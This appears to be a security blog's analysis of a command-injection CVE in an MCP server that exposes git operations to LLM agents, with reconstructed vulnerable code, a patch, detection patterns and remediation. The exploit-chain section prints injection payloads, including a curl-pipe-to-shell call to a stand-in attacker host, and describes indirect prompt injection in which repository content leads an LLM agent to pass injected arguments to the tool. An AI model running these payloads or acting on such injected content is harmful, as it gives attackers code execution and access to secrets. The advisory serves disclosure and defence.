home intel cve-2026-6980-gitpilot-mcp-command-injection
CVE Analysis 2026-04-25 · 8 min read

CVE-2026-6980: Command Injection in GitPilot-MCP repo_path

GitPilot-MCP's repo_path function passes unsanitized user input directly to shell execution. Remote attackers can achieve arbitrary command execution via crafted MCP tool arguments.

#command-injection#remote-code-execution#input-validation#unsanitized-input#cross-platform
Technical mode — for security professionals
▶ Vulnerability overview — CVE-2026-6980 · Vulnerability
ATTACKERCross-platformVULNERABILITYCVE-2026-6980HIGHSYSTEM COMPROMISEDNo confirmed exploits

Vulnerability Overview

CVE-2026-6980 is a command injection vulnerability in Divyanshu-hash/GitPilot-MCP, a Model Context Protocol (MCP) server that exposes Git operations as LLM-callable tools. The vulnerability lives in the repo_path processing logic inside main.py, where the command argument is constructed using attacker-controlled input and passed directly to a shell execution primitive without sanitization. Because MCP servers are designed to be invoked by LLM agents handling external content, the attack surface is significant: any prompt injection or direct MCP client interaction can reach this code path remotely.

The vendor did not respond to disclosure. No versioning system exists for this repository; all commits up to 9ed9f153ba4158a2ad230ee4871b25130da29ffd are affected.

Root cause: The repo_path function interpolates the attacker-controlled command argument directly into a shell string passed to subprocess.run(shell=True) without any escaping, allowlisting, or argument separation.

Affected Component

File: main.py
Function: repo_path (and downstream run_git_command)
Commit range: all commits ≤ 9ed9f153ba41
Protocol: MCP over stdio or HTTP — both expose the same tool handler
Language: Python 3.x

GitPilot-MCP registers Git-related operations as MCP tools. An MCP client (or an LLM acting as one) calls these tools with a JSON payload containing a command field and an optional repo_path field. Both flow into shell construction logic.

Root Cause Analysis

The following is reconstructed pseudocode based on the CVE description, vulnerability class, and standard patterns in MCP server implementations of this type. It reflects the most technically accurate representation of the vulnerable logic:


# main.py — GitPilot-MCP (commit <= 9ed9f153ba41)

import subprocess
from mcp.server import MCPServer
from mcp.types import Tool, TextContent

server = MCPServer("gitpilot")

def run_git_command(repo_path: str, command: str) -> str:
    """
    Execute a git command inside the given repo path.
    BUG: f-string interpolation passes attacker input directly to shell=True.
    """
    # BUG: 'command' and 'repo_path' are never validated or escaped.
    # An attacker-controlled 'command' of e.g. "status; curl http://evil/shell.sh | sh"
    # becomes: "cd /some/path && git status; curl http://evil/shell.sh | sh"
    shell_cmd = f"cd {repo_path} && git {command}"  # BUG: unsanitized interpolation

    result = subprocess.run(
        shell_cmd,
        shell=True,          # BUG: shell=True enables operator chaining (;, &&, |, $())
        capture_output=True,
        text=True,
        timeout=30
    )
    return result.stdout + result.stderr


@server.tool()
def git_operation(command: str, repo_path: str = ".") -> list[TextContent]:
    """
    MCP tool handler. 'command' and 'repo_path' come directly from
    the MCP client JSON payload — no schema enforcement, no sanitization.
    """
    # BUG: No validation of 'command' against an allowlist of git subcommands.
    # No validation of 'repo_path' to prevent directory traversal or injection.
    output = run_git_command(repo_path, command)  # attacker-controlled args flow through
    return [TextContent(type="text", text=output)]

The compounding factor is shell=True. When Python's subprocess.run receives shell=True, the entire string is handed to /bin/sh -c on POSIX systems or cmd.exe /c on Windows. Every shell metacharacter — ;, &&, |, $(), backticks, newlines — becomes an execution boundary. Splitting arguments into a list (the safe pattern) would prevent this entirely; using shell=True with unsanitized input is the canonical Python command injection pattern.

Exploitation Mechanics


EXPLOIT CHAIN:
1. Attacker controls an MCP client or crafts a prompt injection targeting an LLM
   using GitPilot-MCP (indirect prompt injection via repository content is viable).

2. Attacker sends a tool call to the 'git_operation' MCP endpoint:
   {
     "tool": "git_operation",
     "arguments": {
       "command": "status; curl http://attacker.com/shell.sh | sh",
       "repo_path": "/tmp/repo"
     }
   }

3. run_git_command() constructs:
   shell_cmd = "cd /tmp/repo && git status; curl http://attacker.com/shell.sh | sh"

4. subprocess.run(shell_cmd, shell=True) passes string to /bin/sh -c.
   /bin/sh executes each semicolon-delimited command sequentially:
     - "cd /tmp/repo" -> succeeds
     - "git status"   -> succeeds (or fails; irrelevant)
     - "curl http://attacker.com/shell.sh | sh" -> RCE

5. Alternatively, via repo_path injection:
   "repo_path": "/tmp/repo; id > /tmp/pwned #"
   shell_cmd = "cd /tmp/repo; id > /tmp/pwned # && git status"
   '#' comments out the remainder, 'id' runs as the MCP server process user.

6. For subshell exfiltration without obvious network calls:
   "command": "status $(whoami > /tmp/out)"
   $() is evaluated by /bin/sh before git sees the argument.

7. Impact: full OS command execution as the user running the MCP server process.
   In agent deployments this is often a CI/CD service account or developer machine.

The repo_path vector (step 5) is particularly useful because LLM agents frequently accept repository paths from external content (README files, issue bodies, PR descriptions). This enables indirect prompt injection to RCE — a malicious repository's own content could cause a connected LLM to pass the injected path to GitPilot-MCP.

Memory Layout

This is not a memory corruption vulnerability; exploitation occurs at the process execution layer. The relevant "layout" is the process tree and the shell's internal state when the injected command is evaluated:


PROCESS TREE BEFORE INJECTION:
  python3 main.py (MCP server, PID N)
    └─ (waiting for tool call on stdin/socket)

PROCESS TREE DURING EXPLOITATION:
  python3 main.py (MCP server, PID N)
    └─ /bin/sh -c "cd /tmp/repo && git status; curl http://atk.com/shell.sh | sh"
          ├─ cd /tmp/repo          [exits 0]
          ├─ git status            [exits 0 or 128]
          └─ /bin/sh               [spawned by pipe: curl ... | sh]
                └─ [attacker shellscript commands run here]

ENVIRONMENT INHERITED BY INJECTED SHELL:
  - All env vars of MCP server process (may include API keys, tokens, AWS creds)
  - Working directory of MCP server (often project root with .env, .git/config)
  - File descriptor table (access to MCP server's open sockets/pipes)
  - UID/GID of the MCP server process (developer or CI service account)

Patch Analysis

The correct fix has two independent layers: eliminate shell=True and enforce an allowlist on the command argument. Either alone is insufficient — an allowlist can be bypassed with argument injection (git status --upload-pack=malicious), and removing shell=True alone stops metacharacter injection but not git-level argument abuse.


# BEFORE (vulnerable):
def run_git_command(repo_path: str, command: str) -> str:
    shell_cmd = f"cd {repo_path} && git {command}"
    result = subprocess.run(
        shell_cmd,
        shell=True,
        capture_output=True,
        text=True,
        timeout=30
    )
    return result.stdout + result.stderr


# AFTER (patched):
import shlex
import os

ALLOWED_GIT_SUBCOMMANDS = frozenset({
    "status", "log", "diff", "show", "branch",
    "tag", "remote", "fetch", "ls-files", "rev-parse"
})

def run_git_command(repo_path: str, command: str) -> str:
    # Layer 1: validate repo_path is an existing directory (no traversal/injection)
    resolved = os.path.realpath(repo_path)
    if not os.path.isdir(resolved):
        raise ValueError(f"Invalid repo_path: {repo_path!r}")

    # Layer 2: tokenize command and validate subcommand against allowlist
    try:
        tokens = shlex.split(command)  # safe tokenization, not shell execution
    except ValueError as e:
        raise ValueError(f"Malformed command: {e}") from e

    if not tokens or tokens[0] not in ALLOWED_GIT_SUBCOMMANDS:
        raise ValueError(f"Disallowed git subcommand: {tokens[0]!r}")

    # Layer 3: shell=False, args as list — metacharacters are inert
    result = subprocess.run(
        ["git"] + tokens,   # no shell interpretation; each token is a literal argument
        shell=False,        # FIXED: eliminates shell metacharacter expansion
        cwd=resolved,       # FIXED: use cwd= instead of cd injection
        capture_output=True,
        text=True,
        timeout=30,
        env={"GIT_TERMINAL_PROMPT": "0", "HOME": resolved}  # sanitized environment
    )
    return result.stdout + result.stderr

Detection and Indicators

If GitPilot-MCP is deployed in your environment, look for the following indicators of exploitation:


PROCESS MONITORING:
  - Parent: python3 main.py
  - Child:  /bin/sh with cmdline containing: curl|wget|nc|bash|python3
  - Flag any git process spawning a second shell child

AUDIT LOG PATTERNS (auditd / macOS EndpointSecurity):
  SYSCALL execve with:
    - argv[0] = /bin/sh
    - argv[2] containing ';', '$(', '`', '|' alongside "git"

MCP PROTOCOL DETECTION (if logging tool calls):
  - 'command' argument values containing shell metacharacters:
      regex: [;&|`$(){}\n]
  - 'repo_path' values not matching expected absolute path pattern
  - Tool call arguments exceeding expected git subcommand length (> ~20 chars
    for a legitimate subcommand string)

FILE SYSTEM INDICATORS:
  - Unexpected files written under MCP server working directory
  - New files in /tmp owned by the MCP server process UID
  - .git/config modified with unexpected remote URLs (persistence via hooks)

Remediation

Immediate: If GitPilot-MCP is deployed, disable it or isolate it behind a network boundary that prevents the MCP server from making outbound connections. Do not expose it to inputs derived from untrusted repository content.

Code-level: Apply the patch pattern shown above. The three required changes are: (1) replace shell=True with shell=False and pass arguments as a list, (2) use cwd= instead of cd interpolation, (3) enforce a strict allowlist on the git subcommand token before execution.

Defense in depth: Run MCP servers in a sandboxed process with seccomp or an equivalent syscall filter. On Linux, a minimal profile should block execve of any binary other than /usr/bin/git. On macOS, use an App Sandbox or sandbox-exec profile. Consider running the server as a dedicated low-privilege user with no network access and a read-only filesystem mount of the repository.

For LLM agent deployments specifically: Treat all MCP tool arguments as untrusted even when the calling LLM generated them — indirect prompt injection means external content (commit messages, README files, issue bodies) can influence argument values. Input validation must happen server-side, not trust-side.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →